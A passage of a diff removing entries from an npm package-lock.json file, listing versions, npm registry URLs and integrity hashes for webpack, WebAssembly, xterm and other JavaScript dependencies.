- "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==",
- "dev": true,
- "dependencies": {
- "@types/eslint": "*",
- "@types/estree": "*"
- }
- },
- "node_modules/@types/estree": {
- "version": "1.0.5",
- "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.5.tgz",
- "integrity": "sha512-/kYRxGDLWzHOB7q+wtSUQlFrtcdUccpfy+X+9iMBpHK8QLLhx2wIPYuS5DYtR9Wa/YlZAbIovy7qVdB1Aq6Lyw==",
- "dev": true
- },
- "node_modules/@types/json-schema": {
- "version": "7.0.15",
- "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz",
- "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==",
- "dev": true
- },
- "node_modules/@types/node": {
- "version": "20.12.8",
- "resolved": "https://registry.npmjs.org/@types/node/-/node-20.12.8.tgz",
- "integrity": "sha512-NU0rJLJnshZWdE/097cdCBbyW1h4hEg0xpovcoAQYHl8dnEyp/NAOiE45pvc+Bd1Dt+2r94v2eGFpQJ4R7g+2w==",
- "dev": true,
- "dependencies": {
- "undici-types": "~5.26.4"
- }
- },
- "node_modules/@webassemblyjs/ast": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.12.1.tgz",
- "integrity": "sha512-EKfMUOPRRUTy5UII4qJDGPpqfwjOmZ5jeGFwid9mnoqIFK+e0vqoi1qH56JpmZSzEL53jKnNzScdmftJyG5xWg==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/helper-numbers": "1.11.6",
- "@webassemblyjs/helper-wasm-bytecode": "1.11.6"
- }
- },
- "node_modules/@webassemblyjs/floating-point-hex-parser": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz",
- "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==",
- "dev": true
- },
- "node_modules/@webassemblyjs/helper-api-error": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz",
- "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==",
- "dev": true
- },
- "node_modules/@webassemblyjs/helper-buffer": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.12.1.tgz",
- "integrity": "sha512-nzJwQw99DNDKr9BVCOZcLuJJUlqkJh+kVzVl6Fmq/tI5ZtEyWT1KZMyOXltXLZJmDtvLCDgwsyrkohEtopTXCw==",
- "dev": true
- },
- "node_modules/@webassemblyjs/helper-numbers": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz",
- "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/floating-point-hex-parser": "1.11.6",
- "@webassemblyjs/helper-api-error": "1.11.6",
- "@xtuc/long": "4.2.2"
- }
- },
- "node_modules/@webassemblyjs/helper-wasm-bytecode": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz",
- "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==",
- "dev": true
- },
- "node_modules/@webassemblyjs/helper-wasm-section": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.12.1.tgz",
- "integrity": "sha512-Jif4vfB6FJlUlSbgEMHUyk1j234GTNG9dBJ4XJdOySoj518Xj0oGsNi59cUQF4RRMS9ouBUxDDdyBVfPTypa5g==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.12.1",
- "@webassemblyjs/helper-buffer": "1.12.1",
- "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
- "@webassemblyjs/wasm-gen": "1.12.1"
- }
- },
- "node_modules/@webassemblyjs/ieee754": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz",
- "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==",
- "dev": true,
- "dependencies": {
- "@xtuc/ieee754": "^1.2.0"
- }
- },
- "node_modules/@webassemblyjs/leb128": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz",
- "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==",
- "dev": true,
- "dependencies": {
- "@xtuc/long": "4.2.2"
- }
- },
- "node_modules/@webassemblyjs/utf8": {
- "version": "1.11.6",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz",
- "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==",
- "dev": true
- },
- "node_modules/@webassemblyjs/wasm-edit": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.12.1.tgz",
- "integrity": "sha512-1DuwbVvADvS5mGnXbE+c9NfA8QRcZ6iKquqjjmR10k6o+zzsRVesil54DKexiowcFCPdr/Q0qaMgB01+SQ1u6g==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.12.1",
- "@webassemblyjs/helper-buffer": "1.12.1",
- "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
- "@webassemblyjs/helper-wasm-section": "1.12.1",
- "@webassemblyjs/wasm-gen": "1.12.1",
- "@webassemblyjs/wasm-opt": "1.12.1",
- "@webassemblyjs/wasm-parser": "1.12.1",
- "@webassemblyjs/wast-printer": "1.12.1"
- }
- },
- "node_modules/@webassemblyjs/wasm-gen": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.12.1.tgz",
- "integrity": "sha512-TDq4Ojh9fcohAw6OIMXqiIcTq5KUXTGRkVxbSo1hQnSy6lAM5GSdfwWeSxpAo0YzgsgF182E/U0mDNhuA0tW7w==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.12.1",
- "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
- "@webassemblyjs/ieee754": "1.11.6",
- "@webassemblyjs/leb128": "1.11.6",
- "@webassemblyjs/utf8": "1.11.6"
- }
- },
- "node_modules/@webassemblyjs/wasm-opt": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.12.1.tgz",
- "integrity": "sha512-Jg99j/2gG2iaz3hijw857AVYekZe2SAskcqlWIZXjji5WStnOpVoat3gQfT/Q5tb2djnCjBtMocY/Su1GfxPBg==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.12.1",
- "@webassemblyjs/helper-buffer": "1.12.1",
- "@webassemblyjs/wasm-gen": "1.12.1",
- "@webassemblyjs/wasm-parser": "1.12.1"
- }
- },
- "node_modules/@webassemblyjs/wasm-parser": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.12.1.tgz",
- "integrity": "sha512-xikIi7c2FHXysxXe3COrVUPSheuBtpcfhbpFj4gmu7KRLYOzANztwUU0IbsqvMqzuNK2+glRGWCEqZo1WCLyAQ==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.12.1",
- "@webassemblyjs/helper-api-error": "1.11.6",
- "@webassemblyjs/helper-wasm-bytecode": "1.11.6",
- "@webassemblyjs/ieee754": "1.11.6",
- "@webassemblyjs/leb128": "1.11.6",
- "@webassemblyjs/utf8": "1.11.6"
- }
- },
- "node_modules/@webassemblyjs/wast-printer": {
- "version": "1.12.1",
- "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.12.1.tgz",
- "integrity": "sha512-+X4WAlOisVWQMikjbcvY2e0rwPsKQ9F688lksZhBcPycBBuii3O7m8FACbDMWDojpAqvjIncrG8J0XHKyQfVeA==",
- "dev": true,
- "dependencies": {
- "@webassemblyjs/ast": "1.12.1",
- "@xtuc/long": "4.2.2"
- }
- },
- "node_modules/@webpack-cli/configtest": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/@webpack-cli/configtest/-/configtest-2.1.1.tgz",
- "integrity": "sha512-wy0mglZpDSiSS0XHrVR+BAdId2+yxPSoJW8fsna3ZpYSlufjvxnP4YbKTCBZnNIcGN4r6ZPXV55X4mYExOfLmw==",
- "dev": true,
- "engines": {
- "node": ">=14.15.0"
- },
- "peerDependencies": {
- "webpack": "5.x.x",
- "webpack-cli": "5.x.x"
- }
- },
- "node_modules/@webpack-cli/info": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/@webpack-cli/info/-/info-2.0.2.tgz",
- "integrity": "sha512-zLHQdI/Qs1UyT5UBdWNqsARasIA+AaF8t+4u2aS2nEpBQh2mWIVb8qAklq0eUENnC5mOItrIB4LiS9xMtph18A==",
- "dev": true,
- "engines": {
- "node": ">=14.15.0"
- },
- "peerDependencies": {
- "webpack": "5.x.x",
- "webpack-cli": "5.x.x"
- }
- },
- "node_modules/@webpack-cli/serve": {
- "version": "2.0.5",
- "resolved": "https://registry.npmjs.org/@webpack-cli/serve/-/serve-2.0.5.tgz",
- "integrity": "sha512-lqaoKnRYBdo1UgDX8uF24AfGMifWK19TxPmM5FHc2vAGxrJ/qtyUyFBWoY1tISZdelsQ5fBcOusifo5o5wSJxQ==",
- "dev": true,
- "engines": {
- "node": ">=14.15.0"
- },
- "peerDependencies": {
- "webpack": "5.x.x",
- "webpack-cli": "5.x.x"
- },
- "peerDependenciesMeta": {
- "webpack-dev-server": {
- "optional": true
- }
- }
- },
- "node_modules/@xterm/addon-attach": {
- "version": "0.11.0",
- "resolved": "https://registry.npmjs.org/@xterm/addon-attach/-/addon-attach-0.11.0.tgz",
- "integrity": "sha512-JboCN0QAY6ZLY/SSB/Zl2cQ5zW1Eh4X3fH7BnuR1NB7xGRhzbqU2Npmpiw/3zFlxDaU88vtKzok44JKi2L2V2Q==",
- "peerDependencies": {
- "@xterm/xterm": "^5.0.0"
- }
- },
- "node_modules/@xterm/addon-canvas": {
- "version": "0.7.0",
- "resolved": "https://registry.npmjs.org/@xterm/addon-canvas/-/addon-canvas-0.7.0.tgz",
- "integrity": "sha512-LF5LYcfvefJuJ7QotNRdRSPc9YASAVDeoT5uyXS/nZshZXjYplGXRECBGiznwvhNL2I8bq1Lf5MzRwstsYQ2Iw==",
- "peerDependencies": {
- "@xterm/xterm": "^5.0.0"
- }
- },
- "node_modules/@xterm/addon-clipboard": {
- "version": "0.1.0",
- "resolved": "https://registry.npmjs.org/@xterm/addon-clipboard/-/addon-clipboard-0.1.0.tgz",
- "integrity": "sha512-zdoM7p53T5sv/HbRTyp4hY0kKmEQ3MZvAvEtiXqNIHc/JdpqwByCtsTaQF5DX2n4hYdXRPO4P/eOS0QEhX1nPw==",
- "dependencies": {
- "js-base64": "^3.7.5"
- },
- "peerDependencies": {
- "@xterm/xterm": "^5.4.0"
- }
- },
- "node_modules/@xterm/addon-fit": {
- "version": "0.10.0",
- "resolved": "https://registry.npmjs.org/@xterm/addon-fit/-/addon-fit-0.10.0.tgz",
- "integrity": "sha512-UFYkDm4HUahf2lnEyHvio51TNGiLK66mqP2JoATy7hRZeXaGMRDr00JiSF7m63vR5WKATF605yEggJKsw0JpMQ==",
- "peerDependencies": {
- "@xterm/xterm": "^5.0.0"
- }
- },
- "node_modules/@xterm/addon-webgl": {
- "version": "0.18.0",
- "resolved": "https://registry.npmjs.org/@xterm/addon-webgl/-/addon-webgl-0.18.0.tgz",
- "integrity": "sha512-xCnfMBTI+/HKPdRnSOHaJDRqEpq2Ugy8LEj9GiY4J3zJObo3joylIFaMvzBwbYRg8zLtkO0KQaStCeSfoaI2/w==",
- "peerDependencies": {
- "@xterm/xterm": "^5.0.0"
- }
- },
- "node_modules/@xterm/xterm": {
- "version": "5.5.0",
- "resolved": "https://registry.npmjs.org/@xterm/xterm/-/xterm-5.5.0.tgz",
- "integrity": "sha512-hqJHYaQb5OptNunnyAnkHyM8aCjZ1MEIDTQu1iIbbTD/xops91NB5yq1ZK/dC2JDbVWtF23zUtl9JE2NqwT87A=="
- },
- "node_modules/@xtuc/ieee754": {
- "version": "1.2.0",
- "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz",
- "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==",
- "dev": true
- },
- "node_modules/@xtuc/long": {
- "version": "4.2.2",
- "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz",
- "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==",
- "dev": true
- },
- "node_modules/acorn": {
- "version": "8.11.3",
- "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.11.3.tgz",
- "integrity": "sha512-Y9rRfJG5jcKOE0CLisYbojUjIrIEE7AGMzA/Sm4BslANhbS+cDMpgBdcPT91oJ7OuJ9hYJBx59RjbhxVnrF8Xg==",
- "dev": true,
- "bin": {
- "acorn": "bin/acorn"
- },
- "engines": {
- "node": ">=0.4.0"
- }
- },
- "node_modules/acorn-import-assertions": {
- "version": "1.9.0",
- "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz",
- "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==",
- "dev": true,
- "peerDependencies": {
- "acorn": "^8"
- }
- },
- "node_modules/ajv": {
- "version": "6.12.6",
- "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
- "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
- "dev": true,
- "dependencies": {
- "fast-deep-equal": "^3.1.1",
- "fast-json-stable-stringify": "^2.0.0",
- "json-schema-traverse": "^0.4.1",
- "uri-js": "^4.2.2"
- },
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/epoberezkin"
- }
- },
- "node_modules/ajv-keywords": {
- "version": "3.5.2",
- "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz",
- "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==",
- "dev": true,
- "peerDependencies": {
- "ajv": "^6.9.1"
- }
- },
- "node_modules/ansi-regex": {
- "version": "6.0.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.0.1.tgz",
- "integrity": "sha512-n5M855fKb2SsfMIiFFoVrABHJC8QtHwVx+mHWP3QcEqBHYienj5dHSgjbxtC0WEZXYt4wcD6zrQElDPhFuZgfA==",
- "dev": true,
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-regex?sponsor=1"
- }
- },
- "node_modules/ansi-styles": {
- "version": "6.2.1",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
- "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
- "dev": true,
- "engines": {
- "node": ">=12"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/any-promise": {
- "version": "1.3.0",
- "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz",
- "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==",
- "dev": true
- },
- "node_modules/anymatch": {
- "version": "3.1.3",
- "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.3.tgz",
- "integrity": "sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==",
- "dev": true,
- "dependencies": {
- "normalize-path": "^3.0.0",
- "picomatch": "^2.0.4"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/arg": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
- "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==",
- "dev": true
- },
- "node_modules/balanced-match": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
- "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
- "dev": true
- },
- "node_modules/binary-extensions": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
- "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
- "dev": true,
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/boolbase": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/boolbase/-/boolbase-1.0.0.tgz",
- "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==",
- "dev": true
- },
- "node_modules/brace-expansion": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.1.tgz",
- "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==",
- "dev": true,
- "dependencies": {
- "balanced-match": "^1.0.0"
- }
- },
- "node_modules/braces": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
- "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
- "dev": true,
- "dependencies": {
- "fill-range": "^7.1.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/browserslist": {
- "version": "4.23.0",
- "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.23.0.tgz",
- "integrity": "sha512-QW8HiM1shhT2GuzkvklfjcKDiWFXHOeFCIA/huJPwHsslwcydgk7X+z2zXpEijP98UCY7HbubZt5J2Zgvf0CaQ==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "caniuse-lite": "^1.0.30001587",
- "electron-to-chromium": "^1.4.668",
- "node-releases": "^2.0.14",
- "update-browserslist-db": "^1.0.13"
- },
- "bin": {
- "browserslist": "cli.js"
- },
- "engines": {
- "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
- }
- },
- "node_modules/buffer-from": {
- "version": "1.1.2",
- "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.2.tgz",
- "integrity": "sha512-E+XQCRwSbaaiChtv6k6Dwgc+bx+Bs6vuKJHHl5kox/BaKbhiXzqQOwK4cO22yElGp2OCmjwVhT3HmxgyPGnJfQ==",
- "dev": true
- },
- "node_modules/camelcase-css": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
- "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
- "dev": true,
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/caniuse-lite": {
- "version": "1.0.30001616",
- "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001616.tgz",
- "integrity": "sha512-RHVYKov7IcdNjVHJFNY/78RdG4oGVjbayxv8u5IO74Wv7Hlq4PnJE6mo/OjFijjVFNy5ijnCt6H3IIo4t+wfEw==",
- "dev": true,
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ]
- },
- "node_modules/chalk": {
- "version": "4.1.2",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
- "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
- "dev": true,
- "dependencies": {
- "ansi-styles": "^4.1.0",
- "supports-color": "^7.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/chalk/node_modules/ansi-styles": {
- "version": "4.3.0",
- "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz",
- "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==",
- "dev": true,
- "dependencies": {
- "color-convert": "^2.0.1"
- },
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/chalk/ansi-styles?sponsor=1"
- }
- },
- "node_modules/chalk/node_modules/supports-color": {
- "version": "7.2.0",
- "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz",
- "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==",
- "dev": true,
- "dependencies": {
- "has-flag": "^4.0.0"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/chokidar": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
- "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
- "dev": true,
- "dependencies": {
- "anymatch": "~3.1.2",
- "braces": "~3.0.2",
- "glob-parent": "~5.1.2",
- "is-binary-path": "~2.1.0",
- "is-glob": "~4.0.1",
- "normalize-path": "~3.0.0",
- "readdirp": "~3.6.0"
- },
- "engines": {
- "node": ">= 8.10.0"
- },
- "funding": {
- "url": "https://paulmillr.com/funding/"
- },
- "optionalDependencies": {
- "fsevents": "~2.3.2"
- }
- },
- "node_modules/chokidar/node_modules/glob-parent": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
- "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
- "dev": true,
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/chrome-trace-event": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.3.tgz",
- "integrity": "sha512-p3KULyQg4S7NIHixdwbGX+nFHkoBiA4YQmyWtjb8XngSKV124nJmRysgAeujbUVb15vh+RvFUfCPqU7rXk+hZg==",
- "dev": true,
- "engines": {
- "node": ">=6.0"
- }
- },
- "node_modules/clone-deep": {
- "version": "4.0.1",
- "resolved": "https://registry.npmjs.org/clone-deep/-/clone-deep-4.0.1.tgz",
- "integrity": "sha512-neHB9xuzh/wk0dIHweyAXv2aPGZIVk3pLMe+/RNzINf17fe0OG96QroktYAUm7SM1PBnzTabaLboqqxDyMU+SQ==",
- "dev": true,
- "dependencies": {
- "is-plain-object": "^2.0.4",
- "kind-of": "^6.0.2",
- "shallow-clone": "^3.0.0"
- },
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/color-convert": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
- "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
- "dev": true,
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/color-name": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
- "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==",
- "dev": true
- },
- "node_modules/colorette": {
- "version": "2.0.20",
- "resolved": "https://registry.npmjs.org/colorette/-/colorette-2.0.20.tgz",
- "integrity": "sha512-IfEDxwoWIjkeXL1eXcDiow4UbKjhLdq6/EuSVR9GMN7KVH3r9gQ83e73hsz1Nd1T3ijd5xv1wcWRYO+D6kCI2w==",
- "dev": true
- },
- "node_modules/commander": {
- "version": "4.1.1",
- "resolved": "https://registry.npmjs.org/commander/-/commander-4.1.1.tgz",
- "integrity": "sha512-NOKm8xhkzAjzFx8B2v5OAHT+u5pRQc2UCa2Vq9jYL/31o2wi9mxBA7LIFs3sV5VSC49z6pEhfbMULvShKj26WA==",
- "dev": true,
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/cross-spawn": {
- "version": "7.0.3",
- "resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
- "integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
- "dev": true,
- "dependencies": {
- "path-key": "^3.1.0",
- "shebang-command": "^2.0.0",
- "which": "^2.0.1"
- },
- "engines": {
- "node": ">= 8"
- }
- },
- "node_modules/css-select": {
- "version": "5.1.0",
- "resolved": "https://registry.npmjs.org/css-select/-/css-select-5.1.0.tgz",
- "integrity": "sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==",
- "dev": true,
- "dependencies": {
- "boolbase": "^1.0.0",
- "css-what": "^6.1.0",
- "domhandler": "^5.0.2",
- "domutils": "^3.0.1",
- "nth-check": "^2.0.1"
- },
- "funding": {
- "url": "https://github.com/sponsors/fb55"
- }
- },
- "node_modules/css-what": {
- "version": "6.1.0",
- "resolved": "https://registry.npmjs.org/css-what/-/css-what-6.1.0.tgz",
- "integrity": "sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==",
- "dev": true,
- "engines": {
- "node": ">= 6"
- },
- "funding": {
- "url": "https://github.com/sponsors/fb55"
- }
- },
- "node_modules/cssesc": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/cssesc/-/cssesc-3.0.0.tgz",
- "integrity": "sha512-/Tb/JcjK111nNScGob5MNtsntNM1aCNUDipB/TkwZFhyDrrE47SOx/18wF2bbjgc3ZzCSKW1T5nt5EbFoAz/Vg==",
- "dev": true,
- "bin": {
- "cssesc": "bin/cssesc"
- },
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/didyoumean": {
